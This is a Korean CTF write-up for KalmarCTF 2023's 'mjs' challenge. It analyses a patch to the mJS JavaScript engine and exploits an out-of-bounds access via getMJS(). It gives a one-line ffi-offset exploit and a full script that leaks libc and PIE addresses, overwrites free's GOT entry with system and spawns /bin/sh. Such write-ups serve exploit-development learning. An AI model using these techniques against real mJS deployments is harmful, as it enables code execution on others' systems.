KalmarCTF 2023 - mjs (JS Engine, OOB)

Toddler’s first browser exploitation: https://github.com/cesanta/mjs
nc 54.93.211.13 10002
clone, pwn, warmup

  • [52 solves / 100 points]

처음으로 포너블에 나온 자바스크립트 엔진 문제를 완주했다..! 풀이를 두 가지 소개한다. 첫 번째 풀이는 내가 풀이한 방식이고 두 번째는 친구가 풀이한 방식이다. 친구 풀이 보면서 많이 공부할 수 있었다.

Analysis

이 문제는 description에 포함된 mjs 레포를 참고해서 분석을 해야한다. 문제에서는 브라우저 익스라고 표현했지만 레포에 들어가서 Overview를 읽어보면 브라우저에 실제로 쓰이는 엔진인지는 잘 모르겠다..ㅎ IoT 기기에서 볼 수 있을 것 같다.

아무튼 이 문제에서 diff.patch 파일을 제공해줬는데 살펴보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
diff --git a/Makefile b/Makefile
index d265d7e..d495e84 100644
--- a/Makefile
+++ b/Makefile
@@ -5,6 +5,7 @@ BUILD_DIR = build
RD ?= docker run -v $(CURDIR):$(CURDIR) --user=$(shell id -u):$(shell id -g) -w $(CURDIR)
DOCKER_GCC ?= $(RD) mgos/gcc
DOCKER_CLANG ?= $(RD) mgos/clang
+CC = clang

include $(SRCPATH)/mjs_sources.mk

@@ -81,7 +82,7 @@ CFLAGS += $(COMMON_CFLAGS)
# NOTE: we compile straight from sources, not from the single amalgamated file,
# in order to make sure that all sources include the right headers
$(PROG): $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) $(TOP_HEADERS) $(BUILD_DIR)
- $(DOCKER_CLANG) clang $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
+ $(CC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)

$(BUILD_DIR):
mkdir -p $@
diff --git a/src/mjs_builtin.c b/src/mjs_builtin.c
index 6f51e08..36c2b43 100644
--- a/src/mjs_builtin.c
+++ b/src/mjs_builtin.c
@@ -137,12 +137,12 @@ void mjs_init_builtin(struct mjs *mjs, mjs_val_t obj) {
mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_load));
mjs_set(mjs, obj, "print", ~0,
mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_print));
- mjs_set(mjs, obj, "ffi", ~0,
- mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_ffi_call));
- mjs_set(mjs, obj, "ffi_cb_free", ~0,
- mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_ffi_cb_free));
- mjs_set(mjs, obj, "mkstr", ~0,
- mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_mkstr));
+ /* mjs_set(mjs, obj, "ffi", ~0, */
+ /* mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_ffi_call)); */
+ /* mjs_set(mjs, obj, "ffi_cb_free", ~0, */
+ /* mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_ffi_cb_free)); */
+ /* mjs_set(mjs, obj, "mkstr", ~0, */
+ /* mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_mkstr)); */
mjs_set(mjs, obj, "getMJS", ~0,
mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_get_mjs));
mjs_set(mjs, obj, "die", ~0,
@@ -151,8 +151,8 @@ void mjs_init_builtin(struct mjs *mjs, mjs_val_t obj) {
mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_do_gc));
mjs_set(mjs, obj, "chr", ~0,
mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_chr));
- mjs_set(mjs, obj, "s2o", ~0,
- mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_s2o));
+ /* mjs_set(mjs, obj, "s2o", ~0, */
+ /* mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_s2o)); */

/*
* Populate JSON.parse() and JSON.stringify()
diff --git a/src/mjs_exec.c b/src/mjs_exec.c
index bd48fea..24c2c7c 100644
--- a/src/mjs_exec.c
+++ b/src/mjs_exec.c
@@ -835,7 +835,7 @@ MJS_PRIVATE mjs_err_t mjs_execute(struct mjs *mjs, size_t off, mjs_val_t *res) {

*func = MJS_UNDEFINED; // Return value
// LOG(LL_VERBOSE_DEBUG, ("CALLING %d", i + 1));
- } else if (mjs_is_string(*func) || mjs_is_ffi_sig(*func)) {
+ } else if (mjs_is_ffi_sig(*func)) {
/* Call ffi-ed function */

call_stack_push_frame(mjs, bp.start_idx + i, retval_stack_idx);

Built-in API에서 ffi, ffi_cb_free, mkstr 기능을 지웠다고 이해했다. 지워진 기능들 중 하나인 ffi는 아주 강력한 API이다. 아래와 같이 사용이 가능한데, C함수를 아래와 같이 Import해서 사용 가능하다. 이것을 사용할 수 있으면 바로 system('/bin/sh\x00')을 실행해버리면 될텐데..

1
let f = ffi('int foo(int)');
  • Import C function into mJS. See next section.

라는 생각을 하면서 이것저것 코드를 작성하다가 알게된 사실 두 가지가 있다. 미리 이야기하자면 OOB가 발생한다.

(1)

1
getMJS()[0x41414141]; 

OOB가 발생해서 터진다. 터진 instruction을 보면 rax와 rcx를 더한 주소에 접근하려다가 터진 것을 볼 수 있다. getMJS 객체가 가리키는 곳은 0x005555555812a0 이다. 이 주소를 기준으로 원하는 주소에 접근하거나 쓸 수 있다. 테스트를 하다보면 OOB read와 OOB write 모두 발생한다. Solve 2에서 OOB read를 이용해서 필요한 주소를 leak했고, OOB write를 이용해서 got를 덮어서 문제를 익스했다.

Solve 1에서는 read나 write가 발생한다는 것에 집중하지 않고 임의 주소에 접근이 가능하다는 것만 생각하면서 소스 코드를 보고 풀이를 작성했다.

(2)

소스 코드를 보면서 알아낸 것이다.


patch에서 분명 API만 주석처리 했다. 그러면 저 함수는 어떻게 될까? 저 함수도 분명 컴파일이 되어서 바이너리 내부에 존재할 것이고 OOB로 임의 주소에 접근 가능하니까 저 함수를 실행할 수도 있겠다고 생각했다.


Solve 1

나머지는 이제 ffi API 사용법만 알면 된다. 이 부분은 mjs 레포를 살펴보고 사용법을 익혔다.

Exploit Code

1
let system = (getMJS+0x6a10)('int system(char *)'); system('/bin/sh\x00');

풀려서 당황했고 풀고나서 하루종일 기분이 좋았다.. ㅎ

Solve 2


OOB read와 write를 이용해서 필요한 주소를 leak하고 got를 덮어서 system('/bin/sh\x00')를 실행시키는 방법이다.

  1. libc leak

  2. environ 이용해서 pie leak

  • 처음에 프로그램이 시작되면 MJS 객체가 생긴다. (0x005555555812a0) getMJS()를 호출하게 되면 힙에 새로운 주소가 생기는데 저 MJS 객체를 가리킨다. 참고로 environ은 stack에서 main 아래 영역을 가리킨다. 즉, environ에는 stack 주소가 저장되어 있다. stack에는 pie 주소가 저장되어 있기 마련이다. 처음에 MJS 객체를 가리키는 mjs와 mjs2를 생성했다. mjs2가 가리키는 주소를 MJS 객체가 아닌 environ으로 변경한다. OOB read를 이용해서 environ에 저장된 주소를 출력할 수 있는데 이 stack 주소에서 적절히 offset을 조절해서 pie base를 구할 수 있다.
  1. free의 got를 system 함수로 덮기
  • 앞서 pie leak을 한 것과 비슷하다. mjs2가 가리키는 주소를 free_got로 변경하고 free_got에 system 주소를 쓴다.
  1. ‘/bin/sh\x00’
  • system 함수는 인자가 하나니까 첫 번째 인자를 호출하는 함수를 조작하는 것을 목표로 한다. 두 가지 방식을 찾았다. mjs의 Built-in API 중 하나인 die 구현 내부에서 free를 호출한다. 이 방법이 친구가 풀이한 방식이다. 그리고 다시 풀이하면서 다른 방식도 찾아봤다. 또 다른 방식은 소스 코드 초반에 //bin/sh를 추가하고 그냥 자바스크립트 코드를 실행한다. mjs 바이너리에 자바스크립트 코드를 전부 실행하고 한 줄씩 해제하는 코드가 있기 때문에 해당 풀이가 가능하다.

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
//bin/sh
// MJS 객체 0x005555555812a0 를 가리키는 mjs와 mjs2.
// 모두 힙에 저장됨
let mjs = getMJS();
// let xxx = 0x12345678;
let mjs2 = getMJS();

print('mjs:', mjs);
print('mjs2:', mjs2);

let libc_leak = 0;

// 0x 90
// 0x 5d00
// 0x 180000
// 0x 185d90
for (let i = 0; i < 0x8; ++i) {
libc_leak += mjs[0x140 + i] << (i * 8);
print(mjs[0x140 + i] << (i * 8))
}

// mjs[0x41414141];

let libc_base = libc_leak - 0x81d90;
let system = libc_base + 0x49990;

print('libc_base:', libc_base);
print('system:', system);

function overwrite_mjs2(address) {
for (let i = 0; i < 6; ++i) {
mjs[0x360 + i] = address & 0xff;
// mjs2[i] = address & 0xff;
address >>= 8;
}
}

function read64(address) {
overwrite_mjs2(address);

let retval = 0;
for (let i = 0; i < 8; ++i) {
retval += mjs2[i] << (i * 8);
// retval += mjs[0x360 + i] << (i * 8);
}
return retval;
}

function write64(address, value) {
overwrite_mjs2(address);

let retval = 0;
for (let i = 0; i < 8; ++i) {
mjs2[i] = value & 0xff;
value >>= 8;
}
return retval;
}

// mjs2가 MJS 객체 대신 environ을 가리키게 함
let environ = read64(libc_base + 0x1e0140);
print('environ value:', environ);

let pie_leak = read64(environ - 0x80);
print('pie_leak:', pie_leak);
let pie_base = pie_leak - 0x10020;
print('pie_base:', pie_base);

// mjs2가 free_got 가리키게 한 다음에 [mjs2]에 system 주소 쓰기
let free_got = pie_base + 0x2c018;
write64(free_got, system);

// die를 호출해서 풀이도 가능
// die('/bin/sh\x00');

// system 함수는 인자가 하나니까 첫 번째 인자를 호출하는 함수를 조작하는 것을 목표